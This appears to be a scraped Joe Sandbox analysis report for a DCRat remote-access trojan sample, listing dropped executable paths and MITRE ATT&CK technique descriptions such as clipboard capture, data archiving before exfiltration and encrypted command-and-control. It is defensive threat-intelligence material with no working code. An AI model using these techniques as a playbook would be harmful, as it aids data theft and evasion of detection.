Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Gg6wivFINd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Windows Photo Viewer\en-GB\6a193675dec995

C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe

C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

C:\Program Files\Uninstall Information\6a193675dec995

C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe

C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\6a193675dec995

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe:Zone.Identifier

Windows Analysis Report
Gg6wivFINd.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre